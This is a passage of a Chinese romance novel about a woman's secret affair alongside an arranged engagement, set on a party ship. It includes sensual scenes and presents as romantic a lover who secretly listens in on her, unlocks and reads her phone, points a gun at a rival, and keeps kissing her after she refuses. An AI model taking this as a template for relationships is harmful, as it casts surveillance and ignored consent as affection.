她伸手接过,在察觉到他低落的情绪时,怔了下,随即诧异地调侃道:“你不会在为这场比赛的结果难过吧?” “确实,有一点。”陈亦桉无奈地笑了下,“主要我觉得我们还挺有默契的,结果……竟然一局都没能拿下。” “其实也还好啦,我们默契再怎么好,也没有他们朝夕相处的情侣好啊,更何况男方还是专业的。”邬芮开口,随意安慰了几句,“而且我们俩也不差吧,这么多年没见了,默契也丝毫不减。” 看他刚才那随性的态度,她完全没想到他的胜负欲居然这么强,心态似乎还有点脆弱。 “嗯,你说得对。”陈亦桉嘴角微微翘起,宽厚掌心摸了摸她头顶的发丝。 摸完的手掌还停留在半空中时,两人都猛地反应过来似的,愣了下。 邬芮不自在地偏了偏额头。 陈亦桉则是将手放下,语气略显尴尬:“抱歉,我之前这么做习惯了。” “没事。”邬芮压下心底那点异样的排斥感,转身正要往休息区走,一回头便隔着遥遥的距离,看见了注视着她的宗柏也。 她还以为他不打算玩,早走了。 刚开始有个男明星抽签抽到和他对打,他懒散地睨了对方一眼,漠然回绝:“没兴趣。” 宗柏也胜负欲强,技术好是一回事,但他也傲慢,不是随便来个谁,就乐意跟人打一局的。 他那股目中无人的劲儿看着就让人不喜。 可偏偏他的傲慢,是长在那样一张带感的脸上。 立体骨感的五官,干净凌厉的轮廓线条,侵略性的帅,攻击性的张扬。 所以,即便再讨厌他性格的人也不得不承认,他好看得很客观。 这样的长相,连带着那点目中无人的傲慢,都有种锋利的漂亮。 一开始,邬芮选择和他开启这段关系,除了最初的叛逆外,最大的原因还是,宗柏也的长相过于对她的胃口。 尤其是那双眉眼。 他的眉眼其实应该用漂亮来形容,有种忧郁深邃的美。 她曾在财经报道上见过他父亲宗叙白的照片,他的眉眼与宗叙白的并不像,于是她好奇地找过他母亲的照片,可惜全网都没有,她最终只在一些论坛的小角落里,找到了几条不知虚实的名为宗家秘辛的八卦传闻。 那些旧闻对宗叙白的评价褒贬不一。 有说他17岁就继承父亲遗产的原因是他狼子野心,也有赞扬他陪年长他13岁的继母一同前往佛罗伦萨散心足以看出他的孝心,还有夸赞他有手段有魄力,短短几年就在意大利站稳脚跟,风生水起。 其实宗柏也的眼睛与他父亲的顶多只有三分像,他或许更多地遗传了他的母亲。 此刻,当这双漂亮的眼睛望向她时,邬芮不免再次感叹,他怎么会这么刚好,刚好所有的五官都长在她的审美点上。 短暂地对视了几秒后,宗柏也又往下移了移视线,俯了眼她贴着绷带的肩膀。 眼神冰冷,暗含着一丝打量,还有更多她捉摸不透的情绪。 他似乎总能像这般,在人群中一眼窥见她,而后,沉沉地注视着她。 或者说,只是冷静地盯住她。 可这道视线却像是一种粘稠的物体,落下后,便牢牢地黏在了她的身上。 甩不开,也扒不下。 不正常的目光让她难耐地吞咽了下。 可下一秒,她又控制不住地在他的眼神中回味,占有。 他盯着她盯了多久呢? 他现在又是什么心情? ……和他的目光一样平淡吗? 她不信。 迎着他的目光,邬芮忽觉呼吸不畅,在他凝视下的咬痕突然灼烧起来,夹带着一丝隐隐的疼痛。 她似乎闻到了浓郁的血腥味。 霎时,心脏狂跳。 刺激的快感流遍全身。 10. 10心上人 “怎么了?”耳畔倏忽传来陈亦桉温润的询问声。 这道声音瞬间将她飘远的注意力和眸光都一并拽了回来。 邬芮垂了垂眸,压下心头那点不合时宜的躁动。 “没什么。”她偏头笑了笑,余光瞥见宗柏也已经收回了眼神,“我去趟洗手间。” 她转身向另一侧的出入口走去,完全不知身后两个男人的视线隔空无声相撞了一秒。 回来时,她发现场地内的气氛好像有些古怪。 “现在这是什么情况,乔乔?”邬芮在乔珈絮身旁坐下,目光扫过场上对峙的两人。 “刚才他抽到了他的签。”前几年乔珈絮母亲再婚时,她才跟着从港城搬来京市,对这边二代圈子里的人并不算熟,一时半会儿记不起名字,干脆伸手指了指那俩人。 邬芮心底一颤。 陈亦桉抽中了宗柏也的签。 她随意地嗯了声:“然后呢?” “然后戴眼镜那人,估计是看见他对手之前拒绝了别人,以为他不打,就问……” “Silvo的签还没拿出去吗?” 凌盛眯眼打量着场上的陈亦桉,脑海里不受控地浮现出,二十分钟前他笑着说出的这句话。 他怎么觉得这话怪怪的,有股似有若无的火药味。 但明明他们公司与陈家合作得并不深,以往合作期间,他们和对方负责人除了业务上的往来之外,基本没有其他交流,双方的关系也比较一般。 邀请陈家原本只是出于商业考量,毕竟他们今年有意向其他领域拓展业务,这算是一个比较好的交流机会,凌盛便听从宗柏也的建议,向陈家在内的几家合作伙伴发出了邀请。 陈家最后来应邀的,是这位刚回国便接手了家族产业的长孙,陈亦桉。 这人看上去斯斯文文的,却没想到他和宗柏也似乎有什么纠葛,特别执着地要和他比一场。 而更让凌盛意外的是,他那向来对无聊赛事兴致缺缺的好兄弟,这次竟破天荒地持拍上场,用的还是不常用的左手。 ……这两人,有什么他不知道的过节吗? 场上,宗柏也的球拍在指间轻转,动作看似慵懒随意,却每一击都精准得厉害。 陈亦桉被他完全压制,狼狈地在底线来回奔跑,额前碎发早已被汗水浸透。 邬芮盯着球场上的那道身影,无意识地眯了眯眼。 看得出来,宗柏也并没有把这场比赛当回事,或者说他玩的不是球,他是在戏耍他的对手。 他时而放短球,让对方冲刺却狼狈扑空,时而打高远球,逼得人喘着气不停折返却得不到分。 最后一个赛点球,宗柏也露出了不耐烦的神色,闭上眼随手一抛,球拍轻挥,网球在空中划出一道凌厉的弧线。 陈亦桉仰头,仓促抬手,身体却慢半拍地踉跄了一步。 球速太快了,在他反应过来前,那只球便狠狠地砸在了他的脸上。 “砰!” 他踉跄着后退了两步,膝盖一软,整个人直接仰面倒地。 场边随之响起几声低低的惊呼,其中似乎还夹杂着一道尖锐的呼喊声:“陈亦桉!” 他循声望去,一抹熟悉的倩影正向他奔来。 视线摇晃之际,陈亦桉瞥了眼另一边的宗柏也,不禁无声嗤笑了下。 他最讨厌别人自以为拿捏住了他的把柄,并以此来威胁他。 可惜,宗柏也找错了法子,就算让章韵参与进来,也牵制不了他。 宗柏也站在原地,将手中的球拍扔给身旁的球童,一扭头就望见场外的邬芮正随着人群往陈亦桉的方向靠。 不论什么规模的比赛,球场上受伤都是常见的事,邬芮见怪不怪地看着一直在场边候着的急救人员奔向伤者,同时瞧见章韵惊慌失措地冲进了场内。 她微微一愣,鬼使神差地跟了上去。 陈亦桉躺在地上,一只手搁在额前,双目紧闭,在等那阵眩晕感褪去。 章韵显然被吓到了,拉着他的另一只手,嗓音发着颤:“亦桉,你还好吗?” “我没事。”陈亦桉下意识地回握了一下。 邬芮站在人群外围,看着交握的双手,微妙地弯了下嘴角。 她收回视线,转身时余光恰好扫到球场的另一端。 宗柏也表情冷倦地瞥了眼身侧喋喋不休的凌盛,眉眼间透着几分不爽,也不管对方有没有说完,他直接撂下“走了”两个字,便转身,头也不回地朝出口走去。 他背影疏离淡漠,仿佛刚才那场碾压式的比赛,和那个被他戏耍到狼狈倒地的对手都与他无关。 啧,怎么赢了比赛还这么不爽…… 凌盛望着他离去的方向,随即回看了一眼此刻被移至场外的陈亦桉,以及他身边的女生,脑内的困惑似乎被一条细绳给一点点地串联了起来。 陈亦桉身旁那女生他有点印象,是宗柏也新收购的一家综合性MCN及影视娱乐公司的小明星之一。 先前他还疑惑,除了投资一些很有发展前景的新兴产业外,宗柏也怎么突然将目光转向了娱乐行业。 现在看来,这是醉翁之意不在酒啊。 他想起昨晚在酒吧,借着游戏逼问宗柏也下巴处的咬痕是谁留的。 那处咬痕很明显是新增的,上船前根本没有,说明那个被他藏着掖着,不肯让他们见一面,他又宝贝得不行的姑娘就在船上。 可那小子宁愿灌酒,也不愿意说。 凌盛又将目光转向那位正担忧地望着陈亦桉的小明星。 眉心轻轻拧了拧。 真是好一出三角恋。 只是,他兄弟怎么是爱而不得的那一个啊。 - 翌日清晨,邬芮在茶餐厅用早餐时偶遇了陈亦桉。 “方便拼个桌吗?”他端着餐盘看着她,淡声开口。 邬芮抽了张纸巾擦嘴,抬眸望向他,轻轻嗯了声。 昨天的最后一球砸中了陈亦桉的颧骨,那处的红肿已经消褪了不少,但仍留有淡淡的淤青。 “伤好点了吗?”她瞥了眼他的伤口,礼貌性地询问。 “没事。”陈亦桉笑了笑,“小伤。” 邬芮点点头,随即半诧异半关心地问:“章小姐没有和你一起过来吗?我看她昨天好像很紧张你。” 陈亦桉握着筷子的手僵了一瞬,缄默着抬眼看她,似乎在等她的下文。 “别担心,我没别的意思,对她也没有敌意。”邬芮嘴角牵起一抹笑,“我只是想跟你谈谈。” 她很清楚,与其拐弯抹角地试探彼此,还不如趁此机会将各自的需求都说出来,毕竟,她多少能猜到陈亦桉当下的困扰。 以他目前的能力,他根本无力反抗家族,所以才会与昔日相爱的恋人分手,同时接受与她的联姻。 而她,则是不愿反抗。 说到底,她和他现在都只能听从家里的安排,既然如此,不如选择合作,或许彼此还能从中获得几分想要的自由。 “你想聊什么?”陈亦桉终于接下她的话。 邬芮缓声开口,将彼此共同的需求说出。 “既然阻止不了,互不干涉怎么样?我不介意你过去有多少个心上人,未来还会不会有别的恋人。” “我只希望我们能,彼此不打扰。” “只要在需要的场合短暂扮演一下就好了,毕竟,我们都很熟练不是吗?” 在说出这番话之前,邬芮其实很有把握他会同意,因为她早就看出,他们本质上是同类。 善于伪装,表里不一的同类。 她对他毫无兴趣,而他亦然。 那么,互不干涉则是他们最好的选择。 陈亦桉沉默片刻,忽而嘴角上挑,既没有赞成,也没有反对,只意味不明地反问了一句:“不干涉……你的心上人吗?” 她是坦诚了,但显然不够坦诚。 邬芮蹙眉,直视他的眼睛:“什么?” 陈亦桉起身,没再继续他模棱两可的问题,只略一点头:“可以。” 他同意了她的提议。 望着陈亦桉离开的背影,邬芮忽然想起昨晚在SPA会所和乔珈絮的聊天。 “我才打了两场就感觉整个人都要废了。”技师的手法恰到好处,乔珈絮轻阖着双眼,舒服地喟叹了声。 下一秒,她想起什么,倏地睁开眼望向邬芮,八卦道:“那眼镜男你是不是认识,我看他还特意找你一起打球,老实交代,你们是什么关系?” 邬芮言简意赅:“发小,小时候一起玩过,后来他出国了,最近才回来。” 乔珈絮嗅到了一丝八卦的气息,眯眼挑眉:“只是发小吗?我怎么感觉……他对你有意思啊。” 邬芮无语发笑:“想多了啊,他有喜欢的人,就是那个比赛结束了第一个冲向他的女孩子。” 乔珈絮想起了那个女生,啊了一声,神情有些惋惜。 邬芮觉得好笑:“干嘛,你在可惜什么?” “我在可惜,你这大美女竟然一场恋爱都没谈过。”趁着年轻多体验不同的人生,多享受不同的恋爱是乔珈絮的人生观,“说实话,我还挺想看你陷入甜蜜爱情里的样子。” 邬芮闭着眼轻哼了声:“所以,这就是你到处给我拉郎的原因吗?” 比如那个练习生闻烨。 “这怎么能算是拉郎呢。”乔珈絮嘴甜地否认,“我是想找个配得上你的帅哥,普通的男的太次,配不上你。” 虽然看脸拉郎的事,她也没少干。 邬芮哑然失笑,刚想开口,就又听见她尖叫着哎了声:“昨天和你发小打球的那帅哥,凌盛他朋友,叫什么Silvo的,他是不是你的理想型?” “什么?”邬芮下意识地屏住呼吸,缓缓抬眸,目光定在一个虚空的点上。 乔珈絮将邬芮的理想型和宗柏也的条件一条条对应,罗列了出来:“他那身高看着都快190了,肯定不止185,他和你的身高差、体型差,即便不是绝配,也是超级搭的程度。” “穿搭这点,我看他还挺会穿的,很潮不土,没有直男那种随意的丑感。再说长相,他的长相不就是你最爱的那种性冷淡的渣苏感长相,外貌这一块,他算不算是达到了你这个颜控的标准?” “而且,这两天我每次碰见他,总能看到有人上前搭讪,他每次都拒绝,拒绝的方式还都特干脆利落且冷漠,连基本的客套都懒得装。” “他这种性格,不也正好戳中了你的癖好 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邬芮也不清楚,但她能从梁姝的反应中感觉到,两家一直不和,应该不只有那一个原因。 “那也没事,反正就谈谈恋爱玩一玩啊,又不是要和他结婚。”乔珈絮很快将话题扯了回来,“只要悄悄地瞒着家里就好啦。” 邬芮被她逗乐了,语气却很认真:“可是乔乔,我的理想型标准最近换了,他这样的不是我的菜。” “而且,我对他也没兴趣。” - “嗬,又是十环。”凌盛坐在椅子上,观赏风景似的盯着靶心上密集的弹孔,“今天状态怎么这么好,吃错药了?” 今天原本是他约的宗柏也来靶场射击,可没想到这小子比他玩得还起劲。 几十分钟的时间里,宗柏也总共就说了两句话,其余时间都将注意力放在了标靶上。 一枪接着一枪,还回回十环。 不会累似的。 宗柏也置若罔闻地更换弹匣,金属碰撞声清脆利落。 下一秒,耳畔倏忽传来凌盛与他人的交谈声。 “欸,小陈总,这么巧。” “凌少,确实好巧。” 宗柏也垂眸,用余光随意瞟了眼来人。 一眼过后,他又面无表情地看回靶心,扣动扳机。 “砰——” 子弹破空的那一瞬间,脑海不受控地蓦然乍现出一句奇怪的反问:“不干涉你的心上人吗?” 呵,心上人。 他嗤笑着甩了甩手腕。 啧,聒噪。 又是一发十环,宗柏也却没了继续的兴致,垂眸收枪时,他听见一道含着轻笑的声音:“宗先生真是好运气。” 这句话乍一听,好像只是单纯夸赞他把把十环的成绩。 然而,话音停顿了下后,对方又补充了一句:“想要什么都能如愿。” 最后一个音节被刻意拖长,在只有三人的空旷靶场里显得格外清晰。 话落,空气静默了片刻。 宗柏也摘下降噪耳机,扯着嘴角无声笑了下。 陈亦桉这人…… 真是一点气都沉不住的蠢货。 凌盛闻言,微微诧异地看向陈亦桉的背影。 陈家这小子也就只比他俩小了两岁而已啊,怎么这么藏不住事。 宗柏也转身,重新拿起那把手枪,腕骨微转,黑洞洞的枪口倏然对准陈亦桉的眉心。 “运气吗?试试。”他嘴角噙着笑,“看是你运气好,还是子弹快。” 凌盛的椅子猛地发出刺耳的摩擦声。 姓陈那小子不知道宗柏也的脾气,不管不顾,只为发泄自己的怒气,可他是了解宗柏也的,这家伙一旦被触到了逆鳞,任何事几乎都没有转圜的余地。 陈亦桉眉心微动,神情却没什么变化,他依旧在笑:“Silvo似乎对我有意见?” 他换了个称呼,面上仍是那副优雅的斯文样,可话语中的挑衅意味却丝毫没有减少。 食指搭上扳机,宗柏也歪头,懒声开口:“不然?” 空气瞬间凝固。 陈亦桉瞳孔骤缩,面色僵了僵。 凌盛心脏一紧。 他干笑着打圆场:“不是,哥们……” 话音未落,只听“砰——”的一声,一阵气流划过耳畔,子弹正中陈亦桉身后的移动靶心。 空气静默须臾,凌盛这才后知后觉地反应过来,一个箭步冲上去,站在两人中间,三言两语地将他们方才的对峙软化成了一个简单的玩字,并试图缓和气氛:“你们俩玩归玩,装得这么像真的是……吓唬谁啊。” 话一讲完,他又补上了几声笑,扭头正准备安抚一下陈家那孙子时,就见宗柏也放下了枪,懒声道:“不想玩了,走了。” 宗柏也无聊地闭了下眼,右耳的微型无线耳麦里忽然传来了一阵电流杂音,其中夹杂着一道熟悉的微弱女声:“身体还是酸胀吗?” “要不我们去泡温泉吧,乔乔。” 转身的步伐悄然一顿,他敛眸,后退几步,侧额瞥了眼刚说完话的凌盛,淡漠开口:“温泉,去不去?” 11. 11珍波椰 下行的电梯里,凌盛奇怪地看了眼宗柏也:“怎么突然想到去泡温泉了?” 宗柏也转了转手腕,用看白痴的表情看他:“手酸。” “我还以为你铁人一个,不会累的。”凌盛哼笑,“但是泡温泉这种事不是应该——” 话音毫无征兆地戛然而止。 泡温泉这种很容易滋生出暧昧氛围的事,不是应该找你想暧昧的那个妹子一起吗。 但话到嘴边又被他咽了回去。 算了,还是不拂他的面子了。 虽然这家伙刚刚靶场得意,但他情场失意了啊,喜欢的女生有意中人,而且她的意中人还和他满是火药味地碰了一面,他现在心里憋着的那股火估计只会越燃越旺。 宗柏也迈出电梯,接上他的话:“应该什么?” “没什么。”凌盛往温泉池走,“你快去洗澡吧。” 温泉馆的另一侧是淋浴室,宗柏也进池子前后都会习惯性地各洗一次澡。 馆内的空间很大,不同类型的特色汤池大大小小地坐落其中,每个汤池的面积都不大,有些可容纳三到五人,有些只适合一至两人下水。 宗柏也洗完澡踏入温泉池,随意扫了两眼周围。 池子里如他所料地就只剩下了邬芮一人。 他蓦地嗤笑一声。 凌盛这个哥哥当得真是畜生一个,不过他这畜生行为从另一个角度看,倒是正中他下怀。 宗柏也对室外的侍者交代了几句后,径直往最里侧的汤池走。 邬芮泡的是面积最小的私人药浴。 她穿了件轻薄泳衣,阖着眼趴在池沿边小憩,池水冒出的热气蒸得她脸颊和裸露在外的肌肤都泛起一片薄红。 大概是累极了,又或许是舒服极了,他都走到她身边了,她还没发现身旁站了个人。 宗柏也脱掉浴袍下水,一手揽住她的腰,将她抱到自己面前。 池水温度适宜,不断冒出的热气熏得邬芮昏昏欲睡,紧绷的神经得到放松,一贯保持着的警惕也降低了不少。 直到贴上另一个人的身体,她才迷糊地清醒了些,看着他的脸唤他,语气像在梦中,掺着一半的不确定:“宗柏也?” “嗯。”他轻应了声,喉结滚动,扣在她腰间的手渐渐收紧。 两人的距离拉近到合适的位置时,他脖颈一低,将脸埋进她的颈窝,贪婪地深吸了一口气。 拥抱很紧密,颈侧的呼吸很灼热。 邬芮在这时猛地清醒过来。 这不是梦,他们也不是在哪个私密空间。 这里是温泉池,随时会有人进来。 目光警惕地扫向四周。 可还没确认完,她就被他强行掰正了视线。 宗柏也将她抱坐到自己腿上,一手揽着她的背,一手托着她的臀,微仰着脸亲她。 “别动,只有我们。”察觉到她的不安,他耐着性子解释,一句又一句,像是安抚,打消她的顾虑,“其他人进不来。” 她知道宗柏也做事向来缜密,只要他保证了,那这里必定是不会被发现的地方,可她依旧有些担忧:“乔乔呢?” 乔珈絮当时和她一起进的温泉池,只是不在同一个汤池里,在她昏昏欲睡时,人还在她耳边说话呢,醒来却没影了。 邬芮猜不出,宗柏也是怎么让她离开池子的,用的又是什么借口。 宗柏也盯着她的脸盯了一会儿,随后一手扣住她后颈,将她压向自己,而他则仰脸再次吻上她躁动的唇。 另一个女人的行踪关他屁事。 他不想解释,也懒得解释。 舌尖抵开唇齿,探入、游走、搅动,然后勾住她的舌头舔了舔,力道很轻,似有若无的,完全解不了渴。 他一定是故意的,偏要勾引她,却偏不让她满足。 邬芮食髓知味地向外探了探,攀缠住他,给予他回应。 可刚要更进一步时,舌尖便被他恶劣地咬了一口。 “唔……”她推着他的胸口,生气道,“不亲了!” 宗柏也嘴角噙着笑意,松开她的唇舌,转而慢条斯理地用唇轻磨着她的唇瓣。 搭在后腰处的手状似无意地勾了下她泳衣的边缘:“新泳衣?没见过。” 邬芮闻言,浑身一怔,喉间忽然火烧似的灼烫起来,呼吸也变得不畅,她不自觉吞咽了下,想以此来缓解这种缺氧的窒息感。 他不会兴致高涨到想在这里来一次吧? 虽然不太可能,但又不是完全没可能。 水池的热气蒸得她晕乎乎的,还没来得及细想他这句话背后的含义,舌尖便自作主张地伸出,舔磨起他的唇。 一秒过后,邬芮烦闷地动了动掌心,原先摸着他腹肌的手瞬间上移至他锁骨下方的肌肉,轻轻按揉了两下后,又狠掐了一把。 霎时,喉间溢出声不受控的低喘,宗柏也喉结滚动,哼笑着看她:“只接吻,乖点,再亲会儿。” 真是不经逗。 喘息间,邬芮又问了一遍先前的问题:“乔乔呢?” 虽然在这个时间点问他问题有点不解风情,可她还是想问。 “不知道。”宗柏也在她身后扬了一掌,“还想问什么?” 隔着一层水,落下的力道变得绵软、厚重,却也更磨人。 好吧,看来在他进浴池前,乔珈絮就已经离开了。 邬芮哼哼了两声,一边将纤细的脖颈暴露给他,一边伸手去够池沿边的手机。 宗柏也掀眼睨了她一瞬,随即识趣又默契地吮吻上她的脖颈。 握着的手机是刚上船时被收走的那一只,乔珈絮不知用了什么办法将它拿了回来,还在中午交还给她时,扬着眉得意道:“我就知道!凌盛那傻逼果然是骗人的,信号根本就没被他屏蔽。” 点开消息聊天框,十几分钟前,乔珈絮给她发了条消息:【宝宝,临时有事,我先回去喽。】 行吧。 邬芮敛眸,将手机熄屏。 刚一低头,柔软的唇便再次缠上来,吮舔蹭吸,气息灼热,带有侵略性,热气混着亲吻产生的燥热密不透风地将他们遮盖住。 换气,接吻,拥抱温存,来来回回,也不知道亲了多久,邬芮只觉热意烘得她头昏脑涨,困顿得厉害。 持久缠绵的吻竟让她生出了些睡意。 宗柏也看她打了个哈欠:“困了?” 邬芮点点头:“你有没有办法,把我抱回房间?” 实在是太困了,她现在根本不想自己走回去。 她蹭了蹭他的唇:“我累了。” 既然他能把这片温泉池变成他俩的私密空间,那他也一定有办法避开别人的目光,将她抱回房间的吧。 而且,她刚看了眼时间,现在居然都快深夜了…… 温泉馆和她的房间在同一层,并不远,按照他的能力,这也许是可行的。 宗柏也带着薄茧的指腹摩挲着她脸侧细嫩的肌肤。 沉默片刻,他点了下头:“行,要困了就先睡。” - 全程闭着眼被照顾着洗漱完,又被抱到床上后,邬芮找了个惬意的姿势,双臂虚空地抱着枕头的一角,舒服地进入睡眠,完全没注意到睡的这间房并不是她的阳台房,也没有察觉到身上穿的根本不是自己的睡衣,而是一件遮到大腿根的短T。 翻身间,衣服下摆被蹭动,隐约露出了浑圆的轮廓线,以及它边缘泛红的痕印。 宗柏也靠坐在床头,垂眼盯了两秒她虚搂着的手臂,而后将自己的胳膊放入她双臂间。 下一秒,她的手臂如磁铁般紧紧吸附上来,脸颊还无意识地亲昵蹭了蹭。 一副攀附于他且任他折腾的乖顺样。 他看着这一幕,倏然勾了下唇,伸手捏了捏她两颊。 就在这时,被他放在床头柜上的邬芮的手机微微亮起。 宗柏也伸手将它拿了过来。 是条垃圾短信。 他垂着眸,正准备将它放回去时,动作却一顿,指腹在锁屏界面悬空着停顿一秒后,他用自己的指纹解锁了她的手机。 指尖划过微信的消息列表,那些记录没什么特别的,他都看过。 只除了一条,他还没来得及看的,停留在几小时前的聊天记录。 【梁女士】:筝筝,你和乔乔一起去凌盛的生日会了吗? 【既筝馒头也筝气】:对的妈妈。 【既筝馒头也筝气】:我还在船上遇见亦桉哥了,特别巧。 【梁女士】:是哦,你们好多年没见了,还聊得来吗? 【既筝馒头也筝气】:聊得来啊,他还和小时候一样,基本没什么变化。 【梁女士】:聊得来就好。 【既筝馒头也筝气】:嗯,我和亦桉哥约好了下船后再聚聚。 【梁女士】:那就好,还是你们年轻人单独约着见面比较好,这样也不容易拘谨。 【梁女士】:我们两家人一起吃饭的事可以再缓缓,等你们聊得差不多了再一起见个面。 【既筝馒头也筝气】:好。 宗柏也低眼,冷淡地眄了眼邬芮熟睡的脸。 她睡相很好,除了环抱住他胳膊的双臂,两条腿始终规规矩矩地伸直,既没有曲起,也没有摆出奇怪的姿势。 平稳的呼吸一下一下地吹拂着他的手臂。 很轻柔,但很痒。 痒得他很烦。 宗柏也掀开被子,侧身躺到她身边,扣住她的下巴亲她。 他吻得很重,丝毫没有刚才在温泉池里,那股轻柔的怜惜劲儿。 邬芮还迷迷糊糊地沉浸在睡梦中,大脑尚未清醒,身体却开始习惯性地迎合他。 嘴唇顺从地张开,接纳,舌尖探出与他纠缠,环抱住他胳膊的手松开,转而搂住他腰身,一只手不满足地摸到他锁骨间的链子,胡乱拽了拽,鼻腔里哼出了声舒服的哼吟声。 但宗柏也并不满足于此,缠绵的吻变得更凶更深,完全不给她喘息的空间。 氧气越来越稀薄,窒息感越来越强烈时,邬芮猛地睁开眼,迷糊地辨认起眼前的这一幕。 细眉轻轻拧起,她懵懵地眨了眨眼,一条腿绵软无力地踹了他一脚,言辞简洁:“困,不做。” 话落后,她翻了个身,背对着他继续睡过去。 宗柏也却并不打算就这么放过她。 他掰过她的肩膀,再次将她揽入怀中, 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“嚯,这还是国王游戏的定制牌。”拿到牌的人拆开看了眼。 那副牌总共有五十一张,牌面数字一至五十,专为多人聚会定制的。 那人扫了眼四周,点了点人头:“我们这儿一共二十三个人,绰绰有余了。” “玩吗,阿盛?” “玩呗。” 派对主人都同意了,其他人也不好驳了他的面子。 一开始抽到国王牌的人还都小心翼翼的,没给太过的指令,后来玩开了,要求就越来越暧昧了。 诸如:“12号站桩,21号贴着TA跳TroubleMaker。” “我靠!我是21。”乔珈絮倏地站起来,嗓音里含着藏不住的兴奋,“谁是12?” 她已经玩嗨了,也不等12号站出来,就招呼身旁的服务员,让人帮忙录她和别人的跳舞视频。 等她交代好侍者,一回头发现二十几人中,只有凌盛黑着脸站在那儿。 “靠!你是12?!” 再比如:“9号和16号手牵手脸贴脸,直到下一局结束。” “小陈总是9号啊,那16是谁?”陈亦桉身旁的人将他的牌说了出来。 “是我。”邬芮看见章韵在角落里怯怯地举起了手。 收回视线时,她撞上了隐在暗处的陈亦桉的目光。 那眼神,如果她没猜错的话,他应该是想提醒她,不要忘记他们互不干涉的承诺。 邬芮挑了下眉。 当然。 她巴不得。 一扭头,她发现乔珈絮居然还在录视频:“你怎么还在拍,打算录全程吗?” “对啊,到时候无聊了可以翻出来看。” 邬芮余光瞥了眼9号和16号交握的手,嘴角弧度弯了弯:“可以给我发一份吗,我到时候也想回味回味。” “没问题!” 这一晚上游戏玩了好几轮,邬芮几乎一直在喝酒看戏,她既没抽到过国王牌,也很幸运地没被“国王”挑中过。 直到接下来这局,凌盛握着国王牌,扫视了一圈周围:“我摇骰子,摇到几,5号和……” 顿了顿,他随便想了个数字:“8号就要把这根饼干吃剩到几厘米,不敢玩,完不成或者中途退场都不行,除非你不想下船。” 邬芮猛地一怔,又看了一眼自己的牌。 她是8号。 同一时间,耳畔传来凌盛幸灾乐祸的惊呼声:“1啊,那要吃到只剩一厘米才行了。” 再次抬眸,对桌有人将手里的5号牌扔到了桌上。 5号是宗柏也。 看清桌上的那张牌,以及丢它的人是谁后,瞬间就有人起哄着想知道抽到另一张8号牌的人是谁。 邬芮眉心微微蹙起,耳边的躁乱声让她一时想不出合适的对策,只能下意识地撩眼看向宗柏也。 而宗柏也压根就没看她,他侧着额从侍者端着的盘子里挑了根Pocky饼干,衔在嘴角。 邬芮:“……” 他还不知道8号是谁呢,就这么迫不及待了。 倒是,挺会享乐的啊。 “8号谁啊,自觉站出来呀。” “唔……8号在这边。”身旁的女生歪头看了眼邬芮握着的牌,而后用手指了指她。 闻声,宗柏也与其他人一起朝她这边望,扭头的瞬间,嘴角衔着的饼干被不小心碰断了,只剩下了一半。 “要不要换一根?”有人好心建议。 宗柏也摇摇头,垂眸盯着饼干的裂痕。 这个长度正好。 “啧,还玩吗?咬个饼干而已,又不是舌吻。”有人对她的不主动露出了不耐烦的表情。 邬芮笑着站起身,坐到宗柏也身边:“玩啊。” 确实,只是一个游戏而已,没什么好不敢的。 刚侧着额咬上饼干的另一端时,后颈便被一只手蓦然扣住了。 呼吸一滞,她抬眼看他。 12. 12小夜灯 宗柏也垂着眼,并没有与她的视线撞到一起。 后颈处的掌心正微不可察地摩挲着她的肌肤,力道轻柔却不容反抗。 不知道是不是与他肌肤相亲的频率过于密集,对彼此的身体太过熟悉的缘故,仅仅只是被他粗粝的指腹缓慢摩挲着,她便好似听见了从脑内传来的一句熟悉的话,带着强烈的压迫感:“抖什么?” 邬芮:“……” 她也不知道这有什么好抖的。 喉咙空咽了几次。 她才好不容易忍住不让自己颤抖。 她不明白他这是要做什么,又不敢轻举妄动,只轻轻地屏住了呼吸。 毕竟周围那么多双眼睛正盯着。 四周的空气安静了一秒后,骤然爆发出了几道起哄声和尖叫声。 两人这游戏规则外的亲密举动有点耐人寻味,很难不让人多想。 宗柏也拧眉,侧眸扫了眼那群人,立刻就有人领会到他的意思,提醒大家闭嘴:“Silvo在固定她的脑袋啊,不然饼干掉了,或者碎了,不就要重来了。” 哦,也是。 邬芮轻轻地呼出一口气,却在下一秒,被自己当前的处境困扰住了。 只剩一半的Pocky让他们俩仅仅只是各自咬住两端,高挺的鼻尖便碰到了一起,再加上,扣在她后颈的掌心还不准她动,所以她只能磨碰着他的鼻尖,一口一口地往前咬。 极近的距离,鼻息交缠融合,彼此的唇在靠近。 像在人前接吻,却比人后的舌吻还暧昧,还叫她腿软。 邬芮无意识地吞咽了一下,呼吸都被刻意放缓。 她无端想起,今天早晨在他房间里醒来时的一幕幕画面。 身上只穿了件他的T恤,不是特别大,但刚好盖住她臀部上斑驳的红痕,盖住他不知道什么时候弄上去的痕印。 昨晚意识迷糊间,梦境与现实好似交织在了一起,她被他一遍遍地亲醒,被逼着叫他,最后叫了什么也不记得了,只记得早上问他时,他沉着脸,不咸不淡地眄了她一眼,最终也没给出任何回答。 思绪凝滞了一秒。 ……好热,酒吧的空调温度怎么调得这么高。 咬下第三口时,邬芮凝神看了他一眼,发现他好像还停留在原地,压根没有动口咬的迹象。 饼干的甜腻味在口腔内融化。 她恍惚记起,他不爱吃甜食。 既然这么不爱吃,他刚才还迫不及待地把饼干咬在嘴边做什么。 就那么喜欢玩这游戏吗? 愣神间,Pocky最后只剩大概两厘米的距离。 邬芮启唇,正准备咬下最后一口时,嘴唇蓦然被一处柔软轻蹭而过。 宗柏也松开扣在她后颈的手,侧过身,脊背后靠,恢复原先的坐姿,顺便用这行为告知其他人,这局结束了。 邬芮怔了怔,一秒后,即刻收拾好情绪,泰然自若地回到原来的位置。 游戏还在继续,周围的声音依旧热闹。 她却没了沉浸的心思,视线似有若无地飘向宗柏也的唇。 柔软的,一触及过的。 同时还是,令她烦闷的。 “你对他真没兴趣吗?”乔珈絮伏在耳边的低语将她飘远的思绪唤了回来,“我觉得你们刚才好有化学反应啊!” “虽然你们什么也没做,游戏时间也就那么几秒,但是,你们之间那种暧昧的氛围感和性张力,感觉比我看的片还要足!” 邬芮被她那夸张的语气逗笑了。 下一秒,她缓缓收起笑意,嗓音有些冷淡:“真没兴趣。” - 后来大家玩得依旧很嗨,结束时都过了零点。 邬芮回到房间,随意瞧了眼屋外,深夜的风雨越来越大了。 加紧洗完澡躺下,她点开手机上的天气看了眼。 今晚居然有暴雨。 目光还未从屏幕上移开,室内的灯光突然全都熄灭了。 她眨了眨眼。 这是,停电了吗? 她摁了下床头灯的开关。 